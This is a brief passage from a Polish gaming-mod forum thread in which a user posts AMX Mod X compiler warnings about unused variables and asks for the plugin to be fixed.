assigned a value that is never used: "g_pCvarMaxSpeed3" /tmp/textu6jYuP.sma(2362) : warning 204: symbol is assigned a value that is never used: "g_team_color" Fix it for me , please. Przeczytaj cały wpis Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Rekomendowane odpowiedzi